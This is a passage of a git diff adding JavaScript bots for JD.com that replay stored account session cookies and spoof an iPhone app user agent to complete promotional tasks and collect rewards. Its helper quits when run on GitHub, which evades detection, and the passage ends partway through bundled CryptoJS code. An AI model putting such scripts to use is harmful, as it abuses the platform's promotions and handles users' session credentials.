cookiesArr.reverse(); + cookiesArr.push(...[$.getdata('CookieJD2'), $.getdata('CookieJD')]); + cookiesArr.reverse(); + cookiesArr = cookiesArr.filter(item => item !== "" && item !== null && item !== undefined); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + UA = `jdapp;iPhone;10.0.8;14.6;${uuidRandom()};network/wifi;JDEbook/openapp.jdreader;model/iPhone9,2;addressid/2214222493;appBuild/168841;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/16E158;supportJDSHWK/1`; + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await main(); + } + } +})().catch((e) => { $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') }).finally(() => { $.done(); }) + +async function main() { + let activeIdInfo = await activeId(); + if (activeIdInfo) { + e = JSON.parse(activeIdInfo.activityData.floorList[2].boardParams.interaction); + // let queryInteractiveInfo = await task('queryInteractiveInfo', { "encryptProjectId": e.encryptProjectId, "encryptAssigmentIds": [e.encryptAssignmentId], "ext": { "rewardEncryptAssignmentId": e.encryptAssignmentId, "timesEncryptAssignmentId": e.encryptAssignmentId, "needNum": 50 }, "sourceCode": "aceaceqingzhan" }); + if (e) { + let taskInfo = await task('doInteractiveAssignment', { "encryptProjectId": e.encryptProjectId, "encryptAssignmentId": e.encryptAssignmentId, "completionFlag": true, "itemId": "1", "sourceCode": "aceaceqingzhan" }); + if (taskInfo.code === "0" && taskInfo.subCode === "0") { + console.log(JSON.stringify(taskInfo.rewardsInfo.successRewards)); + } else { console.log(JSON.stringify(taskInfo)) } + } else { + console.log('没有获取到活动ID') + } + } else { console.log('没有获取到活动信息!') }; +} +function task(functionId, body) { + let opt = { + url: `https://api.m.jd.com/client.action?functionId=${functionId}&appid=babelh5&sign=11&t=${new Date().getTime()}`, + body: `body=${encodeURIComponent(JSON.stringify(body))}`, + headers: { + "Host": "api.m.jd.com", + "Content-Type": "application/x-www-form-urlencoded", + "Origin": "https://prodev.m.jd.com", + "Accept-Encoding": "gzip, deflate, br", + "Cookie": cookie, + "Connection": "keep-alive", + "Accept": "*/*", + "User-Agent": UA, + "Referer": "https://prodev.m.jd.com/mall/active/dHKkhs2AYLCeCH3tEaHRtC1TnvH/index.html", + "Content-Length": "270", + "Accept-Language": "zh-cn", + }, + } + return new Promise(resolve => { + $.post(opt, (err, resp, data) => { + try { + if (err) { + console.log(err) + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function uuidRandom() { + return Math.random().toString(16).slice(2, 10) + + Math.random().toString(16).slice(2, 10) + + Math.random().toString(16).slice(2, 10) + + Math.random().toString(16).slice(2, 10) + + Math.random().toString(16).slice(2, 10); +} +function activeId() { + return new Promise((resolve) => { + const option = { + url: 'https://prodev.m.jd.com/mall/active/dHKkhs2AYLCeCH3tEaHRtC1TnvH/index.html', + headers: { + "Host": "prodev.m.jd.com", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", + "Cookie": cookie, + "User-Agent": UA, + "Accept-Language": "zh-cn", + "Accept-Encoding": "gzip, deflate, br", + "Connection": "keep-alive", + }, + } + $.get(option, (err, resp, data) => { + try { + data = JSON.parse(data.match(/window.__react_data__ = (.*);/)[1]); + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }); + }) +} +function random(min, max) { + return Math.floor(Math.random() * (max - min)) + min; +} +function TotalBean() { return new Promise(async e => { const n = { url: "https://wq.jd.com/user_new/info/GetJDUserInfoUnion?sceneval=2", headers: { Host: "wq.jd.com", Accept: "*/*", Connection: "keep-alive", Cookie: cookie, "User-Agent": UA, "Accept-Language": "zh-cn", Referer: "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", "Accept-Encoding": "gzip, deflate, br" } }; $.get(n, (n, o, a) => { try { if (n) $.logErr(n); else if (a) { if (1001 === (a = JSON.parse(a))["retcode"]) return void ($.isLogin = !1); 0 === a["retcode"] && a.data && a.data.hasOwnProperty("userInfo") && ($.nickName = a.data.userInfo.baseInfo.nickname), 0 === a["retcode"] && a.data && a.data["assetInfo"] && ($.beanCount = a.data && a.data["assetInfo"]["beanNum"]) } else console.log("京东服务器返回空数据") } catch (e) { $.logErr(e) } finally { e() } }) }) } +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_bean_change.js b/jd_bean_change.js new file mode 100644 index 0000000..87ebf6a --- /dev/null +++ b/jd_bean_change.js @@ -0,0 +1,3086 @@ +/* +cron "30 21 * * *" jd_bean_change.js, tag:资产变化强化版by-ccwav + */ + +//详细说明参考 https://github.com/ccwav/QLScript2 + +// prettier-ignore +!function (t, e) { "object" == typeof exports ? module.exports = exports = e() : "function" == typeof define && define.amd ? define([], e) : t.CryptoJS = e() }(this, function () { var h, t, e, r, i, n, f, o, s, c, a, l, d, m, x, b, H, z, A, u, p, _, v, y, g, B, w, k, S, C, D, E, R, M, F, P, W, O, I, U, K, X, L, j, N, T, q, Z, V, G, J, $, Q, Y, tt, et, rt, it, nt, ot, st, ct, at, ht, lt, ft, dt, ut, pt, _t, vt, yt, gt, Bt, wt, kt, St, bt = bt || function (l) { var t; if ("undefined" != typeof window && window.crypto && (t = window.crypto), !t && "undefined" != typeof window && window.msCrypto && (t = window.msCrypto), !t && "undefined" != typeof global && global.crypto && (t = global.crypto), !t && "function" == typeof require) try { t = require("crypto") } catch (t) { } function i() { if (t) { if ("function" == typeof t.getRandomValues) try { return t.getRandomValues(new Uint32Array(1))[0] } catch (t) { } if ("function" == typeof t.randomBytes) try { return t.randomBytes(4).readInt32LE() } catch (t) { } } throw new Error("Native crypto module could not be used to get secure random number.") } var r = Object.create || function (t) { var e; return n.prototype = t, e = new n, n.prototype = null, e }; function n() { } var e = {}, o = e.lib = {}, s = o.Base = { extend: function (t) { var e = r(this); return t && e.mixIn(t), e.hasOwnProperty("init") && this.init !== e.init || (e.init = function () { e.$super.init.apply(this, arguments) }), (e.init.prototype = e).$super = this, e }, create: function () { var t = this.extend(); return t.init.apply(t, arguments), t }, init: function () { }, mixIn: function (t) { for (var e in t) t.hasOwnProperty(e) && (this[e] = t[e]); t.hasOwnProperty("toString") && (this.toString = t.toString) }, clone: function () { return this.init.prototype.extend(this) } }, f = o.WordArray = s.extend({ init: function (t, e) { t = this.words = t || [], this.sigBytes = null != e ? e : 4 * t.length }, toString: function (t) { return (t || a).stringify(this) }, concat: function (t) { var e = this.words, r = t.words, i = this.sigBytes, n = t.sigBytes; if (this.clamp(), i % 4) for (var o = 0; o < n; o++) { var s = r[o >>> 2] >>> 24 - o % 4 * 8 & 255; e[i + o >>> 2] |= s << 24 - (i + o) % 4 * 8 } else for (o = 0; o < n; o += 4)e[i + o >>> 2] = r[o >>> 2]; return this.sigBytes += n, this }, clamp: function () { var t = this.words, e = this.sigBytes; t[e >>> 2] &= 4294967295 << 32 - e % 4 * 8, t.length = l.ceil(e / 4) }, clone: function () { var t = s.clone.call(this); return t.words = this.words.slice(0), t }, random: function (t) { for (var e = [], r = 0; r < t; r += 4)e.push(i()); return new f.init(e, t) } }), c = e.enc = {}, a = c.Hex = { stringify: function (t) { for (var e = t.words, r = t.sigBytes, i = [], n = 0; n < r; n++) { var o = e[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push((o >>> 4).toString(16)), i.push((15 & o).toString(16)) } return i.join("") }, parse: function (t) { for (var e = t.length, r = [], i = 0; i < e; i += 2)r[i >>> 3] |= parseInt(t.substr(i, 2), 16) << 24 - i % 8 * 4; return new f.init(r, e / 2) } }, h = c.Latin1 = { stringify: function (t) { for (var e = t.words, r = t.sigBytes, i = [], n = 0; n < r; n++) { var o = e[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var e = t.length, r = [], i = 0; i < e; i++)r[i >>> 2] |= (255 & t.charCodeAt(i)) << 24 - i % 4 * 8; return new f.init(r, e) } }, d = c.Utf8 = { stringify: function (t) { try { return decodeURIComponent(escape(h.stringify(t))) } catch (t) { throw new Error("Malformed UTF-8 data") } }, parse: function (t) { return h.parse(unescape(encodeURIComponent(t))) } }, u = o.BufferedBlockAlgorithm = s.extend({ reset: function () { this._data = new f.init, this._nDataBytes = 0 }, _append: function (t) { "string" == typeof t && (t = d.parse(t)), this._data.concat(t), this._nDataBytes += t.sigBytes }, _process: function (t) { var e, r = this._data, i = r.words, n = r.sigBytes, o = this.blockSize, s = n / (4 * o), c = (s = t ? l.ceil(s) : l.max((0 | s) - this._minBufferSize, 0)) * o, a = l.min(4 * c, n); if (c) { for (var h = 0; h < c; h += o)this._doProcessBlock(i, h); e = i.splice(0, c), r.sigBytes -= a } return new f.init(e, a) }, clone: function () { var t = s.clone.call(this); return t._data = this._data.clone(), t }, _minBufferSize: 0 }), p = (o.Hasher = u.extend({ cfg: s.extend(), init: function (t) { this.cfg = this.cfg.extend(t), this.reset() }, reset: function () { u.reset.call(this), this._doReset() }, update: function (t) { return this._append(t), this._process(), this }, finalize: function (t) { return t && this._append(t), this._doFinalize() }, blockSize: 16, _createHelper: function (r) { return function (t, e) { return new r.init(e).finalize(t) } }, _createHmacHelper: function (r) { return function (t, e) { return new p.HMAC.init(r, e).finalize(t) } } }), e.algo = {}); return e }(Math); function mt(t, e, r) { return t ^ e ^ r } function xt(t, e, r) { return t & e | ~t & r } function Ht(t, e, r) { return (t | ~e) ^ r } function zt(t, e, r) { return t & r | e & ~r } function At(t, e, r) { return t ^ (e | ~r) } function Ct(t, e) { return t << e | t >>> 32 - e } function Dt(t, e, r, i) { var n, o = this._iv; o ? (n = o.slice(0), this._iv = void 0) : n = this._prevBlock, i.encryptBlock(n, 0); for (var s = 0; s < r; s++)t[e + s] ^= n[s] } function Et(t) { if (255 == (t >> 24 & 255)) { var e = t >> 16 & 255, r = t >> 8 & 255, i = 255 & t; 255 === e ? (e = 0, 255 === r ? (r = 0, 255 === i ? i = 0 : ++i) : ++r) : ++e, t = 0, t += e << 16, t += r << 8, t += i } else t += 1 << 24; return t } function Rt() { for (var t = this._X, e = this._C, r = 0; r < 8; r++)ft[r] = e[r]; e[0] = e[0] + 1295307597 + this._b | 0, e[1] = e[1] + 3545052371 + (e[0] >>> 0 < ft[0] >>> 0 ? 1 : 0) | 0, e[2] = e[2] + 886263092 + (e[1] >>> 0 < ft[1] >>> 0 ? 1 : 0) | 0, e[3] = e[3] + 1295307597 + (e[2] >>> 0 < ft[2] >>> 0 ? 1 : 0) | 0, e[4] = e[4] + 3545052371 + (e[3] >>> 0 < ft[3] >>> 0 ? 1 : 0) | 0, e[5] = e[5] + 886263092 + (e[4] >>> 0 < ft[4] >>> 0 ? 1 : 0) | 0, e[6] = e[6] + 1295307597 + (e[5] >>> 0 < ft[5] >>> 0 ? 1 : 0) | 0, e[7] = e[7] + 3545052371 + (e[6] >>> 0 < ft[6] >>> 0 ? 1 : 0) | 0, this._b = e[7] >>> 0 < ft[7] >>> 0 ? 1 : 0; for (r = 0; r < 8; r++) { var i = t[r] + e[r], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, c = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); dt[r] = s ^ c } t[0] = dt[0] + (dt[7] << 16 | dt[7] >>> 16) + (dt[6] << 16 | dt[6] >>> 16) | 0, t[1] = dt[1] + (dt[0] << 8 | dt[0] >>> 24) + dt[7] | 0, t[2] = dt[2] + (dt[1] << 16 | dt[1] >>> 16) + (dt[0] << 16 | dt[0] >>> 16) | 0, t[3] = dt[3] + (dt[2] << 8 | dt[2] >>> 24) + dt[1] | 0, t[4] = dt[4] + (dt[3] << 16 | dt[3] >>> 16) + (dt[2] << 16 | dt[2] >>> 16) | 0, t[5] = dt[5] + (dt[4] << 8 | dt[4] >>> 24) + dt[3] | 0, t[6] = dt[6] + (dt[5] << 16 | dt[5] >>> 16) + (dt[4] << 16 | dt[4] >>> 16) | 0, t[7] = dt[7] + (dt[6] << 8 | dt[6] >>> 24) + dt[5] | 0 } function Mt() { for (var t = this._X, e = this._C, r = 0; r < 8; r++)wt[r] = e[r]; e[0] = e[0] + 1295307597 + this._b | 0, e[1] = e[1] + 3545052371 + (e[0] >>> 0 < wt[0] >>> 0 ? 1 : 0) | 0, e[2] = e[2] + 886263092 + (e[1] >>> 0 < wt[1] >>> 0 ? 1 : 0) | 0, e[3] = e[3] + 1295307597 + (e[2] >>> 0 < wt[2] >>> 0 ? 1 : 0) | 0, e[4] = e[4] + 3545052371 + (e[3] >>> 0 < wt[3] >>> 0 ? 1 : 0) | 0, e[5] = e[5] + 886263092 + (e[4] >>> 0 < wt[4] >>> 0 ? 1 : 0) | 0, e[6] = e[6] + 1295307597 + (e[5] >>> 0 < wt[5] >>> 0 ? 1 : 0) | 0, e[7] = e[7] + 3545052371 + (e[6] >>> 0 < wt[6] >>> 0 ? 1 : 0) | 0, this._b = e[7] >>> 0 < wt[7] >>> 0 ? 1 : 0; for (r = 0; r < 8; r++) { var i = t[r] + e[r], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, c = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); kt[r] = s ^ c } t[0] = kt[0] + (kt[7] << 16 | kt[7] >>> 16) + (kt[6] << 16 | kt[6] >>> 16) | 0, t[1] = kt[1] + (kt[0] << 8 | kt[0] >>> 24) + kt[7] | 0, t[2] = kt[2] + (kt[1] << 16 | kt[1] >>> 16) + (kt[0] << 16 | kt[0] >>> 16) | 0, t[3] = kt[3] + (kt[2] << 8 | kt[2] >>> 24) + kt[1] | 0, t[4] = kt[4] + (kt[3] << 16 | kt[3] >>> 16) + (kt[2] << 16 | kt[2] >>> 16) | 0, t[5] = kt[5] + (kt[4] << 8 | kt[4] >>> 24) + kt[3] | 0, t[6] = kt[6] + (kt[5] << 16 | kt[5] >>> 16) + (kt[4] << 16 | kt[4] >>> 16) | 0, t[7] = kt[7] + (kt[6] << 8 | kt[6] >>> 24) + kt[5] | 0 } return h = bt.lib.WordArray, bt.enc.Base64 = { stringify: function (t) { var e = t.words, r = t.sigBytes, i = this._map; t.clamp(); for (var n = [], o = 0; o < r; o += 3)for (var s = (e[o >>> 2] >>> 24 - o % 4 * 8 & 255) << 16 | (e[o + 1 >>> 2] >>> 24 - (o + 1) % 4 * 8 & 255) << 8 | e[o + 2 >>> 2] >>> 24 - (o + 2) % 4 * 8 & 255, c = 0; c < 4 && o + .75 * c < r; c++)n.push(i.charAt(s >>> 6 * (3 - c) & 63)); var a = i.charAt(64); if (a) for (; n.length % 4;)n.push(a); return n.join("") }, parse: function (t) { var e = t.length, r = this._map, i = this._reverseMap; if (!i) { i = this._reverseMap = []; for (var n = 0; n < r.length; n++)i[r.charCodeAt(n)] = n } var o = r.charAt(64); if (o) { var s = t.indexOf(o); -1 !== s && (e = s) } return function (t, e, r) { for (var i = [], n = 0, o = 0; o < e; o++)if (o % 4) { var s = r[t.charCodeAt(o - 1)] << o % 4 * 2, c = r[t.charCodeAt(o)] >>> 6 - o % 4 * 2, a = s | c; i[n >>> 2] |= a << 24 - n % 4 * 8, n++ } return h.create(i, n) }(t, e, i) }, _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" }, function (l) { var t = bt, e = t.lib, r = e.WordArray, i = e.Hasher, n = t.algo, H = []; !function () { for (var t = 0; t < 64; t++)H[t] = 4294967296 * l.abs(l.sin(t + 1)) | 0 }(); var o = n.MD5 = i.extend({ _doReset: function () { this._hash = new r.init([1732584193, 4023233417, 2562383102, 271733878]) }, _doProcessBlock: function (t, e) { for (var r = 0; r < 16; r++) { var i = e + r, n = t[i]; t[i] = 16711935 & (n << 8 | n >>> 24) | 4278255360 & (n << 24 | n >>> 8) } var o = this._hash.words, s = t[e + 0], c = t[e + 1], a = t[e + 2], h = t[e + 3], l = t[e + 4], f = t[e + 5], d = t[e + 6], u = t[e + 7], p = t[e + 8], _ = t[e + 9], v = t[e + 10], y = t[e + 11], g = t[e + 12], B = t[e + 13], w = t[e + 14], k = t[e + 15], S = o[0], m = o[1], x = o[2], b = o[3]; S = z(S, m, x, b, s, 7, H[0]), b = z(b, S, m, x, c, 12, H[1]), x = z(x, b, S, m, a, 17, H[2]), m = z(m, x, b, S, h, 22, H[3]), S = z(S, m, x, b, l, 7, H[4]), b = z(b, S, m, x, f, 12, H[5]), x = z(x, b, S, m, d, 17, H[6]), m = z(m, x, b, S, u, 22, H[7]), S = z(S, m, x, b, p, 7, H[8]), b = z(b, S, m, x, _, 12, H[9]), x = z(x, b, S, m, v, 17, H[10]), m = z(m, x, b, S, y, 22, H[11]), S = z(S, m, x, b, g, 7, H[12]), b = z(b, S, m, x, B, 12, H[13]), x = z(x, b, S, m, w, 17, H[14]), S = A(S, m = z(m, x, b, S, k, 22, H[15]), x, b, c, 5, H[16]), b = A(b, S, m, x, d, 9, H[17]), x = A(x, b, S, m, y, 14, H[18]), m = A(m, x, b, S, s, 20, H[19]), S = A(S, m, x, b, f, 5, H[20]), b = A(b, S, m, x, v, 9, H[21]), x = A(x, b, S, m, k, 14, H[22]), m = A(m, x, b, S, l, 20, H[23]), S = A(S, m, x, b, _, 5, H[24]), b = A(b, S, m, x, w, 9, H[25]), x = A(x, b, S, m, h, 14, H[26]), m = A(m, x, b, S, p, 20, H[27]), S = A(S, m, x, b, B, 5, H[28]), b = A(b, S, m, x, a, 9, H[29]), x = A(x, b, S, m, u, 14, H[30]), S = C(S, m = A(m, x, b, S, g, 20, H[31]), x, b, f, 4, H[32]), b = C(b, S, m, x, p, 11, H[33]), x = C(x, b, S, m, y, 16, H[34]), m = C(m, x, b, S, w, 23, H[35]), S = C(S, m, x, b, c, 4, H[36]), b = C(b, S, m, x, l, 11, H[37]), x = C(x, b, S, m, u, 16, H[38]), m = C(m, x, b, S, v, 23, H[39]), S = C(S, m, x, b, B, 4, H[40]), b = C(b, S, m, x, s, 11, H[41]), x = C(x, b, S, m, h, 16, H[42]), m = C(m, x, b, S, d, 23, H[43]), S = C(S, m, x, b, _, 4, H[44]), b = C(b, S, m, x, g, 11, H[45]), x = C(x, b, S, m, k, 16, H[46]), S = D(S, m = C(m, x, b, S, a, 23, H[47]), x, b, s, 6, H[48]), b = D(b, S, m, x, u, 10, H[49]), x = D(x, b, S, m, w, 15, H[50]), m = D(m, x, b, S, f, 21, H[51]), S = D(S, m, x, b, g, 6, H[52]), b = D(b, S, m, x, h, 10, H[53]), x = D(x, b, S, m, v, 15, H[54]), m = D(m, x, b, S, c, 21, H[55]), S = D(S, m, x, b, p, 6, H[56]), b = D(b, S, m, x, k, 10, H[57]), x = D(x, b, S, m, d, 15, H[58]), m = D(m, x, b, S, B, 21, H[59]), S = D(S, m, x, b, l, 6, H[60]), b = D(b, S, m, x, y, 10, H[61]), x = D(x, b, S, m, a, 15, H[62]), m = D(m, x, b, S, _, 21, H[63]), o[0] = o[0] + S | 0, o[1] = o[1] + m | 0, o[2] = o[2] + x | 0, o[3] = o[3] + b | 0 }, _doFinalize: function () { var t = this._data, e = t.words, r = 8 * this._nDataBytes, i = 8 * t.sigBytes; e[i >>> 5] |= 128 << 24 - i % 32; var n = l.floor(r / 4294967296), o = r; e[15 + (64 + i >>> 9 << 4)] = 16711935 & (n << 8 | n >>> 24) | 4278255360 & (n << 24 | n >>> 8), e[14 + (64 + i >>> 9 << 4)] = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), t.sigBytes = 4 * (e.length + 1), this._process(); for (var s = this._hash, c = s.words, a = 0; a < 4; a++) { var h = c[a]; c[a] = 16711935 & (h << 8 | h >>> 24) | 4278255360 & (h << 24 | h >>> 8) } return s }, clone: function () { var t = i.clone.call(this); return t._hash = this._hash.clone(), t } }); function z(t, e, r, i, n, o, s) { var c = t + (e & r | ~e & i) + n + s; return (c << o | c >>> 32 - o) + e } function A(t, e, r, i, n, o, s) { var c = t + (e & i | r & ~i) + n + s; return (c << o | c >>> 32 - o) + e } function C(t, e, r, i, n, o, s) { var c = t + (e ^ r 